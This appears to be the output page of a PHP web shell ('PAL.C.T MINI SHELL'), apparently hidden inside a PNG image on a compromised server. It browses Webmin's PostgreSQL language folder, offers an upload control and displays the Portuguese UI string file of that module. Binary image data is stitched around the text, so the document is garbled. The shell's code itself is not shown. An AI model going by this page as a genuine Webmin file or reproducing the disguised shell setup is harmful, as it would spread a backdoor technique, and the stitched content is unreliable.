php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/postgresql/lang/
upload
files >> //usr/libexec/webmin/postgresql/lang/pt

index_title=Servidor de Base de Dados PostgreSQL
index_notrun=O servidor PostgreSQL não está activo no sistema - Não foi possível obter a lista das base de dados.
index_start=Iniciar Servidor de Bases de Dados PostgreSQL
index_nopass=O Webmin necessita saber as suas credenciais de administração do PostgreSQL de forma a poder gerir as suas bases de dados. Introduza as suas credenciais de administração em baixo.
index_nouser=A sua conta do Webmin está configurada para se ligar ao servidor PostgreSQL com o utilizador $1, mas o acesso a esse utilizador encontra-se negado. 
index_ltitle=Login PostgreSQL
index_sameunix=Ligar como mesmo utilizador Unix?
index_login=Identificador
index_pass=Senha
index_clear=Clear
index_stop=Parar Servidor de Bases de Dados PostgreSQL
index_stopmsg=Pressione este botão para parar o servidor de bases de dados PostgreSQL no sistema. Esta acção impedirá o acesso de quaisquer utilizadores ou aplicações às bases de dados, incluindo este módulo do Webmin.
index_dbs=Bases de Dados PostgreSQL
index_add=Criar nova base de dados
index_users=Preferências do Utilizador
index_return=lista de bases de dados
index_esql=O cliente de PostgreSQL $1 encontra-se inacessível no sistema. Há a possibilidade do PostgreSQL não se encontrar instalado, ou a sua <a href='$2'>configuração do módulo</a> é incorrecta.

index_ehba=O ficheiro de configuração de anfitrião do PostgreSQL $1 encontra-se inacessível no sistema. Há a possibilidade do PostgreSQL não se encontrar inicializado, ou a sua <a href='$2'>configuração do módulo</a> é incorrecta.
index_superuser=Não foi possível executar o cliente de PostgreSQL no sistema. Há a possibilidade do PostgreSQL não se encontrar instalado, ou a sua <a href='$1'>configuração do módulo</a> é incorrecta.
index_eversion=A versão da base de dados PostgreSQL no sistema é $1, mas o Webmin só suporta versão $2 ou superiores.
index_elibrary=Não foi possível executar o cliente PostgreSQL $1 devido à falta das bibliotecas partilhas de Postgres. Verifique a <a href='$2'>configuração do módulo</a> garantindo que o <i>Caminho para as bibliotecas partilhadas do PostgreSQL</i> está correcto.
index_ldpath=O caminho definido para as bibliotecas partilhadas é $1, e o resultado de $2 foi :
index_version=Versão $1 do PostgreSQL
index_setup=O ficheiro de configuração de anfitrião do PostgreSQL $1 encontra-se inacessível no sistema, indicando que a base de dados ainda não foi inicializada. Prima o botão abaixo para configurar o PostgreSQL com o comando $2.
index_setupok=Initializar a Base de Dados
index_nomod=Aviso: O módulo de Perl $1 não se encontra instalado no sistema. Dessa forma o Webmin não será capaz de aceder com fiabilidade à base de dados PostgreSQL. <a href='$2'>Clique aqui</a> para o instalar agora.
index_nomods=Aviso: Os módulos de Perl $1 e $2 não se encontram instalados no sistema. Dessa forma o Webmin não será capaz de aceder com fiabilidade à base de dados PostgreSQL. <a href='$3'>Clique aqui</a> para os instalar agora.
index_nodbs=Não possui acesso a quaisquer bases de dados.
index_backup=Efectuar Cópia de segurança das Bases de Dados
index_backupmsg=Prima este botão para configurar a cópia de segurança de todas as bases de dados PostgreSQL, quer para operação imediata ou operação agendada.

login_err=Falha na autenticação
login_ecannot=Não lhe é permitido configurar o identificador de acesso à base de dados
login_elogin=Autenticação administrativa em falta
login_epass=Falha na autenticação administrativa

dbase_title=Editar Base de Dados
dbase_noconn=Esta base de dados não aceita ligações de momento. Não é possível efectuar qualquer acção sobre ela.
dbase_tables=Tabelas da Base de Dados
dbase_add=Criar nova tabela
dbase_drop=Remover Base de Dados
dbase_exec=Executar SQL
dbase_none=Esta base de dados não tem tabelas.
dbase_fields=Campos:
dbase_return=lista de tabelas
dbase_ecannot=Não lhe é permitida a edição desta base de dados

table_title=Editar Tabela
table_title2=Criar Tabela
table_opts=Opções dos campos
table_header=Tabela $1 da base de dados $2
table_field=Nome do campo
table_type=Tipo
table_null=Permitir nulls?
table_arr=Array?
table_none=Nenhum
table_add=Adicionar campo do tipo:
table_return=lista de campos
table_data=Ver Dados
table_drop=Remover Tabela
table_name=Nome da tabela
table_initial=Campos iniciais
table_header2=Opções da tabela nova
table_err=Falha na criação da tabela
table_ename=Nome de tabela inválido ou em falta
table_efield='$1' não é um nome de campo válido
table_etype=Tipo para o campo $1 em falta
table_esize=Tamanho de tipo para o campo $1 em falta
table_enone=Não foram introduzidos campos iniciais
table_fielddrop=Remover campo
table_eblob=Não é necessário especificar tamanho para o campo $1 do tipo BLOB
field_title1=Adicionar Campo
field_title2=Alterar Campo
field_in=Na tabela $1 da base de dados $2
field_header=Parâmetros do Campo
field_name=Nome do Campo
field_type=Tipo dos Dados
field_size=Tamanho do Tipo
field_none=Nenhum
field_null=Permitir nulls?
field_arr=Campo Array?
field_key=Chave Primária?
field_uniq=Único?
field_err2=Falha ao guardar o campo
field_err1=Falha ao apagar o campo
field_esize='$1' não é um tamanho válido para um campo
field_eenum=Não foram introduzidos valores de enumeração
field_efield='$1' não é um nome válido para um campo
field_ekey=Campos que permitem nulls não podem ser chaves primárias

exec_title=Executar SQL
exec_header=Introduza um comando SQL para ser executado na base de dados $1 ..
exec_exec=Executar
exec_err=Falha na execução SQL
exec_out=Resultados da execução do comando SQL $1 ..
exec_none=Não houve retorno de dados
exec_header2=Seleccione um ficheiro com instruções SQL para executar na base de dados $1 ..
exec_file=De um ficheiro local
exec_upload=De um ficheiro carregado
exec_eupload=Não foi seleccionado qualquer ficheiro para carregar
exec_efile=O ficheiro local não existe ou tem permissões de leitura
exec_uploadout=Resultado dos comandos SQL carregados ..
exec_fileout=Resultado dos comandos SQL no ficheiro $1 ..
exec_noout=Não houve retorno de resultados

stop_err=Falha ao parar o servidor de base de dados
stop_epidfile=Falha ao abrir o ficheiro de PID $1
stop_ekill=Falha ao terminar o processo $1 : $2
stop_ecannot=Não lhe é permitido parar o servidor da base de dados
start_err=Falha ao iniciar o servidor da base de dados
start_ecannot=Não lhe é permitido iniciar o servidor da base de dados

ddrop_err=Falha na remoção da base de dados
ddrop_title=Remover Base de Dados
ddrop_rusure=Tem a certeza de que quer remover a base de dados $1 ? serão também removidas $2 tabelas contendo $3 registos de dados.
ddrop_mysql=Tratando-se da base de dados principal, ao removê-la irá provavelmente inutilizar o seu servidor de base de dados PostgreSQL!
ddrop_ok=Remover Base de Dados

tdrop_err=Falha na remoção da tabela
tdrop_title=Remover Tabela
tdrop_rusure=Tem a certeza de que quer remover a tabela $1 da base de dados $2 ? serão também removidos $3 registos de dados.
tdrop_ok=Remover Tabela

view_title=Dados da Tabela
view_pos=Registos $1 a $2 de $3
view_none=Esta tabela não contém dados
view_edit=Editar registos seleccionados
view_new=Adicionar registo
view_delete=Apagar registos seleccionados
view_nokey=Os dados nesta tabela não podem ser editados pois não a tabela não possui chave primária.
view_all=Seleccionar todos
view_invert=Inverter selecção
view_search2=Procurar por registos onde o campo $2 $3 $1
view_match0=contém
view_match1=é igual
view_match2=não contém
view_match3=não é igual
view_searchok=Procurar
view_searchhead=Resultados para a pesquisa de $1 no campo $2 ..
view_searchhead2=Resultados para a pesquisa avançada em $1 campos ..
view_searchreset=Apagar pesquisa
view_field=Nome do campo
view_data=Novos dados
view_jump=Ir para o registo :
view_download=Descarregar..
view_keep=Deixar inalterado
view_set=Configurar para os conteúdos de ficheiro..
view_warn=Aviso - carregar ficheiros e visualisar os conteúdos de campos dos tipos <tt>text</tt> ou <tt>bytea</tt> dificilmente será possível a menos que os módulos de Perl $1 e $2 estejam instalados e configurados.
view_adv=Pesquisa avançada

newdb_title=Criar Base de Dados
newdb_header=Preferências para a nova base de dados
newdb_db=Nome da Base de Dados
newdb_path=Caminho para os ficheiros da Base de Dados
newdb_err=Falha na criação da Base de Dados
newdb_edb=Nome inválido ou em falha para a base de dados
newdb_ecannot=Não lhe é permitida a criação de bases de dados
newdb_ecannot2=Não lhe é permitida a criação de mais bases de dados
newdb_epath=Caminho para a base de dados em falta
newdb_user=Propriedade do utilizador

user_title=Utilizadores PostgreSQL
user_ecannot=Não lhe é permitida a edição de utilizadores
user_name=Identificador
user_db=Pode criar bases de dados?
user_other=Pode criar utilizadores?
user_until=Válido até
user_add=Criar um novo utilizador
user_forever=Sempre
user_pass=Requer senha?
user_edit=Editar Utilizador
user_create=Criar Utilizador
user_return=lista de utilizadores
user_header=Detalhes de utilizador PostgreSQL
user_passwd=Senha
user_none=Nenhum
user_setto=Configurado para
user_nochange=Não alterar
user_err=Falha ao guardar utilizador
user_epass=Senha inválida ou inexistente
user_ename=Identificador inválido ou inexistente
user_sync=As opções abaixo configuram a sincronização entre utilizadores Unix criados através do Webmin e utilizadores PostgreSQL.
user_sync_create=Adicionar um novo utilizador PostgreSQL aquando da criação de um novo utilizador Unix.
user_sync_modify=Sincronizar utilizador PostgreSQL quando a conta do utilizador correspondente é alterada.
user_sync_delete=Remover utilizador PostgreSQL quando a conta do utilizador correspondente é apagada.

host_ecannot=Não lhe permitida a edição do controlo de acessos de anfitriões cliente
host_title=Anfitriões Autorizados
host_desc=Aquando da ligação de um cliente à base de dados, a lista de anfitriões abaixo é processada pela ordem apresentada até que o cliente seja dado como autorizado ou não autorizado.
host_header=Detalhes de autenticação de clientes PostgreSQL
host_local=Ligação local
host_address=Endereço do anfitrião
host_db=Base de Dados
host_user=Utilizadores
host_uall=Todos os utilizadores
host_auth=Modo de autenticação
host_any=Qualquer anfitrião
host_all=Todas as bases de dados
host_same=Mesmo identificador
host_gsame=Mesmo que o nome do grupo
host_other=Outro..
host_usel=Utilizadores listados..
host_add=Criar um novo anfitrião autorizado
host_ident=Verificar servidor de <tt>ident</tt> no anfitrião
host_trust=Autenticação desnecessária
host_reject=Rejeitar ligação
host_password=Password em claro (plaintext)
host_crypt=Password cifrada
host_md5=Password cifrada com MD5
host_krb4=Kerberos V4
host_krb5=Kerberos V5
host_pam=PAM
host_passwordarg=Utilizar ficheiro de passwords
host_pamarg=Usar serviço PAM
host_create=Criar anfitrião autorizado
host_edit=Editar anfitrião autorizado
host_single=Anfitrião único
host_network=Endereço de rede
host_netmask=Máscara de rede
host_return=lista de anfitriões autorizados
host_err=Falha ao guardar anfitrião autorizado
host_eident=Mapa de utilizador inválido ou inexistente
host_epam=Serviço de PAM inválido ou inexistente
host_epassword=Ficheiro de passwords inválido ou inexistente
host_enetmask=Máscara de rede inválida ou inexistente
host_enetwork=Endereço de rede inválido ou inexistente
host_ehost=Endereço IP inválido ou inexistente
host_move=Mover
host_edb=Não foram fornecidos nomes de bases de dados
host_euser=Não foram fornecidos identificadores
host_ssl=Exigir ligação SSL?
host_viassl=Via SSL

grant_title=Privilégios atribuidos
grant_tvi=Objecto
grant_type=Tipo
grant_db=Base de Dados
grant_public=Todos
grant_group=Grupo $1
grant_add=Adicionar privilégio na base de dados :
grant_return=lista de privilégios
grant_ecannot=Não lhe é permitida a edição de privilégios
grant_create=Criar Privilégio
grant_edit=Editar Privilégio
grant_header=Privilégios atribuidos aos utilizadores
grant_to=Atribuir privilégios em
grant_table=Tabela
grant_view=Vista ou índice
grant_users=Atribuir privilégios a
grant_user=Utilizador
grant_what=Privilégios
grant_r=Tablea
grant_v=Vista
grant_i=Índice
grant_S=Sequência
grant_none=Não existem quaisquer tabelas, vistas, sequências ou índices para atribuir privilégios.

group_title=Grupos PostgreSQL
group_ecannot=Não lhe é permitido editar grupos
group_name=Nome do Grupo
group_id=ID do Grupo
group_mems=Membros
group_add=Criar um novo grupo
group_edit=Editar Grupo
group_create=Criar Grupo
group_header=Detalhes de grupo PostgreSQL
group_return=lista de grupos
group_err=Falha ao guardar grupo
group_ename=Nome de grupo inválido ou inexistente
group_egid=ID de grupo inválido ou inexistente
group_etaken=O nome de grupo escolhido já se encontra atribuido
group_none=Não existem grupos PostgreSQL actualmente

esql=SQL $1 falhou com : $2
log_start=Servidor PostgreSQL iniciado
log_stop=Servidor PostgreSQL parado
log_db_create=Base de Dados $1 criada
log_db_delete=Base de Dados $1 removida
log_table_create=Tabela $1 criada na base de dados $2
log_table_delete=Tabela $1 removida da base de dados $2

log_field_create=Campo $1 $4 adicionado a $2 na base de dados $3
log_field_modify=Campo $1 $4 alterado em $2 na base de dados $3
log_field_delete=Campo $1 apagado de $2 na base de dados $3
log_data_create=Registo adicionado à tabela $2 na base de dados $3
log_data_modify=$1 registos alterados na tabela $2 da base de dados $3
log_data_delete=$1 registos apagados na tabela $2 da base de dados $3
log_exec=Instruções SQL executadas na base de dados $1
log_exec_l=Instrução SQL $2 executada na base de dados $1
log_create_user=Utilizador $1 criado
log_delete_user=Utilizador $1 removido
log_modify_user=Utilizador $1 alterado
log_create_group=Grupo $1 criado
log_delete_group=Grupo $1 removido
log_modify_group=Grupo $1 alterado
log_create_local=Ligação local autorizada criada
log_modify_local=Ligação local autorizada alterada
log_delete_local=Ligação local autorizada removida
log_move_local=Ligação local autorizada movida
log_create_all=Ligação autorizada para qualquer anfitrião criada
log_modify_all=Ligação autorizada para qualquer anfitrião alterada
log_delete_all=Ligação autorizada para qualquer anfitrião removida
log_move_all=Ligação autorizada para qualquer anfitrião movida
log_create_hba=Anfitrião autorizado $1 criado
log_modify_hba=Anfitrião autorizado $1 alterado
log_delete_hba=Anfitrião autorizado $1 removido
log_move_hba=Anfitrião autorizado $1 movido
log_grant=Privilégios atribuidos a $1 na base de dados $2
log_setup=Base de dados inicializada
log_backup=Cópia de segurança da base de dados $1 efectuada
log_backup_l=Cópia de segurança da base de dados $1 efectuada para o ficheiro $2
log_backup_all=Cópia de segurança de todas as bases de dados efectuada
log_backup_all_l=Cópia de segurança de todas as bases de dados efectuada para o ficheiro $2

acl_dbs=Bases de dados que o utilizador pode gerir
acl_dbscannot=Este controlo de acessos tornar-se-á efectivo após re-iniciar o servidor de base de dados PostgreSQL.
acl_dall=Todas as bases de dados
acl_dsel=Selecionado..
acl_create=Pode criar novas bases de dados?
acl_max=Sim, no máximo
acl_delete=Pode remover bases de dados?
acl_stop=Pode parar e iniciar o servidor PostgreSQL?
acl_users=Pode editar utilizadores, grupos, anfitriões e privilégios?
acl_backup=Pode criar cópias de segurança?
acl_restore=Pode restaurar cópias de segurança?
acl_login=Autenticar perante o MySQL como
acl_user_def=Identificador do Configurador de Módulos
acl_user=Identificador
acl_pass=Senha
acl_sameunix=Ligar e efectuar cópias de segurança usando o mesmo identificador do Unix?

fdrop_err=Falha na remoção do campo

setup_err=Falha na inicialização da base de dados
setup_ecannot=Não lhe é permitida a inicialização da base de dados

dbase_bkup=Cópia Segurança
dbase_rstr=Repôr Cópia Segurança

restore_title=Repôr Bases de Dados
restore_header=Repôr opções das bases de dados
restore_db=Nome da Base de Dados
restore_err=Falha na restauração da base de dados
restore_edb=Nome de base de dados inválido ou inexistente
restore_eacl=É necessário que tenha permissões para criar e remover bases de dados
restore_epath=Caminho para a base de dados inexistente
restore_go=Repôr
restore_pe1=O ficheiro necessita ser do tipo tar ($1)
restore_pe2=Ficheiro não encontrado ($1)
restore_exe=Erro na execução do comando ($1)
restore_ecmd=O comando de reposição $1 não foi encontrado no sistema
restore_ecannot=Não lhe é permitido repôr cópias de segurança
restore_only=Repôr apenas dados e não tabelas?
restore_clean=Remover tabelas antes de repôr a cópia?

backup_title=Repôr Base de Dados
backup_title2=Efectuar cópia de seguranla de todas as bases de dados
backup_db=Nome da Base de Dados
backup_desc=Esta consola permite que faça uma cópia de segurança da base de dados $1 como um ficheiro de instruções SQL ou como um arquivo.
backup_desc2=A reposição da cópia de segurança pode ser efectuada imediatamente ou agendada para execução posterior.
backup_desc3=Esta consola permite que faça uma cópia de segurança de todas as bases de dados como um ficheiro de instruções SQL ou como um arquivo.
backup_path=Caminho para o ficheiro da cópia de segurança
backup_path2=Directoria das cópias de segurança
backup_err=Falha execução da cópia de segurança
backup_eacl=É necessário que tenha permissões para criar e remover bases de dados
backup_edb=Nome de base de dados inválido ou inexistente
backup_epath=Caminho para a base de dados inexistente
backup_ok=Efectuar Cópia de Segurança Agora
backup_ok1=Guardar e Efectuar Cópia de Segurança Agora
backup_ok2=Guardar
backup_pe1=O ficheiro ($1) necessita ser to tipo TAR (.tar)
backup_pe2=O ficheiro ($1) já existe
backup_pe3=Caminho inválido ou inexistente para a cópia de segurança
backup_pe4=Directório inválido ou inexistente para as cópias de segurança
backup_ebackup=<tt>pg_dump</tt> falhou com : $1
backup_ecmd=A instrução de cópia de segurança $1 não foi encontrada no sistema
backup_format=Formato da cópia de segurança
backup_format_p=Texto SQL
backup_format_t=Arquivo Tar
backup_format_c=Arquivo Próprio
backup_ecannot=Não lhe é permitido efectuar cópias de segurança
backup_done=Cópia de segurança da base de dados $1 efectuada com sucesso para o ficheiro $2 com um total de $3 bytes.
backup_sched=Activar agendamento de cópias de segurança?
backup_sched1=Sim, nas alturas definidas abaixo ..
backup_ccron=Agendamento de cópias de segurança activo.
backup_dcron=Agendamento de cópias de segurança inactivo.
backup_ucron=Caminho, formato e datas para agendamento de cópias de segurança actualizados.
backup_ncron=Agendamento de cópias de segurança permaneceu inactivo.
backup_before=Instrução a executar antes da cópia de segurança
backup_after=Instrução a executar após a cópia de segurança
backup_tables=Tabela a incluir na cópia de segurança
backup_alltables=Todas as tabelas
backup_seltables=Apenas a tabela

r_command=Instrução não suportada

adv_title=Pesquisa Avançada
adv_and=Encontrar registos que satisfaçam todos os critérios ..
adv_or=Encontrar registos que satisfaçam qualquer dos critérios ..
adv_ok=Pesquisar
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`